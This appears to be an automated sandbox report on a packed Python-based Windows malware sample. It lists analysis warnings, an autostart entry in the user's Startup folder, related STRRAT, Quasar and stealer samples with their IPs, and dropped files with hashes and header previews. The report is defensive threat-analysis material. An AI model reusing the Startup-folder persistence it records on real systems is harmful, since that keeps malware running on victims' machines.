Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target client.exe, PID 6472 because there are no executed function
Execution Graph export aborted for target latest.exe, PID 4196 because there are no executed function
Execution Graph export aborted for target latest.exe, PID 6152 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:40:55	API Interceptor	5762300x Sleep call for process: client.exe modified
05:42:58	API Interceptor	1660916x Sleep call for process: all.exe modified
11:41:58	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMBAHTONcombahtonGmbHDE	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	194.59.30.164
	Support.ClientSetup.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.27
	Counseling_Services_Overview.docm	Get hash	malicious	Unknown	Browse	45.147.231.195
	Nowe zam#U00f3wienie - 0072291855.pdf (243KB).com.exe	Get hash	malicious	Quasar	Browse	194.59.31.75
	https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.199
	https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.199
	firestub.bat	Get hash	malicious	Unknown	Browse	194.59.30.10
	Cotizaci#U00f3n 99026475526_pdf.com.exe	Get hash	malicious	Quasar	Browse	194.59.31.75

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd	fbc5UlsRXq.exe	Get hash	malicious	Unknown	Browse
	5SkF9LFhB3.exe	Get hash	malicious	Unknown	Browse
	WUD0WG3OdV.exe	Get hash	malicious	Unknown	Browse
	98Y05R2rTb.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	eEiHdLSfum.exe	Get hash	malicious	Unknown	Browse
	dens.exe	Get hash	malicious	Python Stealer, Exela Stealer, Waltuhium Grabber	Browse
	Runtime.exe	Get hash	malicious	Unknown	Browse
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse
	cs.exe	Get hash	malicious	Python Stealer, CStealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Programs\Startup\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:	1572864:bmCj3w5ZFlbgNhScis+t8rlhBtbcUXgBHCuQKA:bpj3m1gNhELyhBtPg4
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imaging.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2386432
Entropy (8bit):	6.458824340834286
Encrypted:	false
SSDEEP:	49152:aoPTrlqtAyK7DhgHpHtxqqmLrLrLrLK2QF81:7MK7Du1
MD5:	B88D368220A61DC02E2C9B9C9F3DBF86
SHA1:	2CE7549208C910D53D8566DD8F2C951F755FD98E
SHA-256:	0EA6C51C6700B9E7BDB45ED63201F974B4C6E5936BDEEED370C49B6DCD5821FD
SHA-512:	734C65496AB5F9E574E863667C5306EFB2C13151DAD35E9E93603CD06C4DC25CB4897BC3FF0141FAC7111E244B58AEF6766F376F8057935C4871B393CDF32B7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......3@.5w!.fw!.fw!.f~Y.fg!.f8].gu!.f8]ufs!.f8].gy!.f8].g.!.f8].gs!.f.].gu!.f<Y.gp!.fw!.fs .f.].g.!.fw!.fl!.f.].g=!.f.].gv!.f.]wfv!.f.].gv!.fRichw!.f........................PE..d...x.'d.........." ...".0...h......L.........................................$...........`.........................................@.".`.....".......$.......#...............$.l.....!.......................!.(...`.!.@............@...............................text............0.................. ..`.rdata.......@.......4..............@..@.data.........#..^....#.............@....pdata........#......`#.............@..@.rsrc.........$......R$.............@..@.reloc..l.....$......T$.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_imagingcms.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256512
Entropy (8bit):	6.2744632895698755
Encrypted:	false
SSDEEP:	6144:3GPp77fRSOs1HNY3AklPRI7Odh0wXLg9uP1+74/LgHmPr9qvZqhLanLTLzLfqeqg:3GB77pSn7vQh0wXLg9uP1+74/LgHmPrK
MD5:	54BFD1D6A3DEE85A103657DA98DF6562
SHA1:	062F9C020179846F2CFB85DD5CB7472C04B2823B
SHA-256:	B2820965631C4081BAC0BD5953A08F0BFA84AB057E6239A0AA719237FB6E316F
SHA-512:	421B11DBD31DF99E2C0F588335E5D114C10B650405DD9039AC765ADCC5308D4FB0271607B277D142DA94F79D988F4B97AFAFC1808B03402BB3E3883E403B66E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........rx..+..+..+..+...+.....+......+......+......+5....+......+..+...+4....+4....+4..+..+4..*..+Rich..+................PE..d...g.'d.........." ..."..... ......\........................................ ............`.........................................py..h....y..................\....................?..............................`>..@...............p............................text............................... ..`.rdata..N...........................@..@.data....>.......8...z..............@....pdata..\........0..................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\PIL\_webp.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	530432
Entropy (8bit):	6.579935315094317
Encrypted:	false
SSDEEP:	12288:/wfj8PoAtpyT3bT9IMSFLrLrLrLWzxyOjD9i5qWJTL:/1oAfegFLrLrLrLWzcs9eqWJ
MD5:	FC18D07212FA0FED8035EA1CE7472344
SHA1:	1B74D9880DEEBF28EC46FE5C60600A8912CB6459
SHA-256:	46CE0E78D47CE623DF967E0F52684BEA90AB3BE3AB551EC41AB858DFA7E34E6E
SHA-512:	9AD5436B5FE6730519D9980B701E4B2A11BCE9C1B0DD1E76D1B59553A59B9A44FE9C0FF2E4847978E3243B336E227F42CA34D57D750F4DEBDE1A5A9866A956DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oM5.+,[.+,[.+,[."T..!,[.dPZ.),[.`TZ.),[.dP^.&,[.dP_.#,[.dPX./,[..PZ.(,[.+,Z.x,[..P_.},[..PS.,[..P[.,[..P..,[..PY.,[.Rich+,[.................PE..d...g.'d.........." ...".................................................................`.............................................\...<........p....... ...L...................V...............................U..@............................................text...x........................... ..`.rdata..$...........................@..@.data....2..........................@....pdata...L... ...N..................@..@.rsrc........p......................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71448
Entropy (8bit):	6.280004093581335
Encrypted:	false
SSDEEP:	1536:5VrJQiOU7v3gWTgI9PBgT5NIMOn27SyBxEU:55JQiOU7/g8L9PBSNIMOn2CU
MD5:	90A38A8271379A371A2A4C580E9CD97D
SHA1:	3FDE48214FD606114D7DF72921CF66EF84BC04C5
SHA-256:	3B46FA8F966288EAD65465468C8E300B9179F5D7B39AA25D7231FF3702CA7887
SHA-512:	3BDE0B274F959D201F7820E3C01896C24E4909348C0BC748ADE68610A13A4D1E980C50DAB33466469CDD19EB90915B45593FAAB6C3609AE3F616951089DE1FDC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: fbc5UlsRXq.exe, Detection: malicious, Browse Filename: 5SkF9LFhB3.exe, Detection: malicious, Browse Filename: WUD0WG3OdV.exe, Detection: malicious, Browse Filename: 98Y05R2rTb.exe, Detection: malicious, Browse Filename: eEiHdLSfum.exe, Detection: malicious, Browse Filename: eEiHdLSfum.exe, Detection: malicious, Browse Filename: dens.exe, Detection: malicious, Browse Filename: Runtime.exe, Detection: malicious, Browse Filename: General Agreement.docx.exe, Detection: malicious, Browse Filename: cs.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.Z.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...Qb.f.........." ...(.f................................................... ............`.............................................P......d......................../..............T...........................P...@...............(............................text....e.......f.................. ..`.rdata...O.......P...j..............@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_brotli.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:	12288:wA0uu7wLKRemz/MfQuZ3ekAHhly782XTw05nmZfRJ:wfTdkAFtAmZfRJ
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:	1536:Iyhz79151BVo1vXfzIFnaR4bO1As0n8qsjk+VIMCVl7SyVx7:/hzx15evXkuxAP8qMk+VIMCVlJ
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_cffi_backend.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:	3072:IULjhBCx8qImKrUltSfGzdMcbb9CF8OS7jkSTLkKWlgeml:IgCeqImzSfIMcNCvOkSTLLWWem
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	125208
Entropy (8bit):	6.138659353006937
Encrypted:	false
SSDEEP:	3072:IXw32spTVYgFoj6N2xE9sb7V/f/E4ZBq5syCtYPU95IMLPhr:IgGEOgFoj68ksRf/ERsX
MD5:	5377AB365C86BBCDD998580A79BE28B4
SHA1:	B0A6342DF76C4DA5B1E28A036025E274BE322B35
SHA-256:	6C5F31BEF3FDBFF31BEAC0B1A477BE880DDA61346D859CF34CA93B9291594D93
SHA-512:	56F28D431093B9F08606D09B84A392DE7BA390E66B7DEF469B84A21BFC648B2DE3839B2EEE4FB846BBF8BB6BA505F9D720CCB6BB1A723E78E8E8B59AB940AC26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......f.d."..."..."...+...$....... .......&.......*...........7... ...i...#...i...$.......!..."......7...$...7...#...7...#...7...#...Rich"...........................PE..d...eb.f.........." ...(............`_..............................................-.....`.........................................p`.......`.........................../......t.......T...............................@............................................text............................... ..`.rdata..hl.......n..................@..@.data...,5.......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:	6144:/CxJS14bteS9B+ApcG0Qos0KR29py9qWM53pLW1AZHVHMhhhKoDStGwL0zsWD:/aeS9B+HQosbY9FfHVHXfEsWD
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_elementtree.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	133400
Entropy (8bit):	6.439751874803727
Encrypted:	false
SSDEEP:	3072:06BeITMrw455bcDfGgfQTd/KXWAW9Va2CwNRJ03FIM6fVF8:09ITMUibcDfD+VYM3/CwNRJ03D
MD5:	D20E0888B180C980E54B9E74DB901C26
SHA1:	C1EA58DD9C475F1FD5E89BE2088C7EA0D38EFCCE
SHA-256:	798E8DDFC45495C26593A0550554E32A62CBDD9DA5556E25DA7231A0BF8FD274
SHA-512:	FBF27FC1021D7954C653CAC702121E46D39F3A6A09E5D60392334F40D589FEDA4F6714A5BAE6EBC2EF0196776A650BC8A0A5DD0A16A0E6E4F2911918443FBE79
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......@.0...^K..^K..^K...K..^K.r_J..^K.r]J..^K.rZJ..^K.r[J..^K.u_J..^KO._J..^K.._K..^K.uSJ..^K.u^J..^K.u.K..^K.u\J..^KRich..^K................PE..d...Xb.f.........." ...(.:..........................................................bl....`............................................X...(...x......................../......l... \..T............................Z..@............P...............................text....9.......:.................. ..`.rdata...k...P...l...>..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..l...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:	1536:9PgLpgE4Z27jHZWZnEmoANIMOIi7SyAx2:9EtHZeEmoANIMOIit
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:	3072:ssvkxujgo7e2uONOG+hi+CTznfF9mNoDXnmbuVIMZ10L:snu0o7JUCNYOD2Kg
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35608
Entropy (8bit):	6.430939025440004
Encrypted:	false
SSDEEP:	768:I1Rp7eiajKCGnAxQ0zdu9IMWtg5YiSyvKDAMxkEp5u:gRteiaIAxQ0zI9IMWty7Syyjxto
MD5:	41EE16713672E1BFC4543E6AE7588D72
SHA1:	5FF680727935169E7BCB3991404C68FE6B2E4209
SHA-256:	2FEB0BF9658634FE8405F17C4573FEB1C300E9345D7965738BEDEB871A939E6B
SHA-512:	CB407996A42BDF8BC47CE3F4C4485E27A4C862BF543410060E9F65D63BFBA4C5A854A1F0601E9D8933C549E5459CB74CA27F3126C8CDBDE0BDD2E803390AB942
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T.A)../z../z../z..z../z.$.{../z.$,{../z.$+{../z.$*{../z.#.{../z...zr./z[..{../z.#"{../z.#/{../z.#.z../z.#-{../zRich../z........PE..d...\b.f.........." ...(. ...>......@...............................................#Q....`.........................................@E..`....E..x............p.......\.../...........4..T............................3..@............0...............................text............ .................. ..`.rdata... ...0..."...$..............@..@.data...`....`.......F..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56088
Entropy (8bit):	6.330844955790863
Encrypted:	false
SSDEEP:	1536:5inr44gaZPXPCJ/+yZdDDrRIMXtH7SyNx7:5ZJ/+yZdDDrRIMXtHt
MD5:	737F46E8DAC553427A823C5F0556961C
SHA1:	30796737CAEC891A5707B71CF0AD1072469DD9DE
SHA-256:	2187281A097025C03991CD8EB2C9CA416278B898BD640A8732421B91ADA607E8
SHA-512:	F0F4B9045D5328335DC5D779F7EF5CE322EAA8126EC14A84BE73EDD47EFB165F59903BFF95EB0661EBA291B4BB71474DD0B0686EDC132F2FBA305C47BB3D019F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a.{X..(X..(X..(QxT(\..(...)Z..(...)[..(...)P..(...)T..(M..)Z..(X..(/..(.x.)]..(.x.)Y..(M..)Y..(M..)Y..(M.8(Y..(M..)Y..(RichX..(........PE..d...]b.f.........." ...(.N...`............................................................`.............................................X.............................../......(....f..T............................e..@............`...............................text...7L.......N.................. ..`.rdata...8...`...:...R..............@..@.data...0...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:	768:WlzRmezj6rGqMoW45IMQUHR5YiSyvMcAMxkEm2j:yRm0mGpoW45IMQUHf7SyVxb
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:	1536:mOYhekrkJqlerLSyypHf9/s+S+pzMii/n1IsJqKN5IMLwoR7SygCxkWN:vwkJqHyypHf9/sT+pzMiE1IwdN5IMLw0
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...Nb}.Nb}.Nb}.6.}.Nb}g.c\|.Nb}g.a\|.Nb}g.f\|.Nb}g.g\|.Nb}..c\|.Nb}.Nc}.Nb}.6c\|.Nb}..o\|.Nb}..b\|.Nb}..}.Nb}..`\|.Nb}Rich.Nb}................PE..d....b.f.........." ...(.x..........0-.......................................`............`.........................................@...P............@.......0.........../...P......P...T...............................@............................................text....v.......x.................. ..`.rdata...x.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_4196_133789921279276538\_sqlite3.pyd

Download File

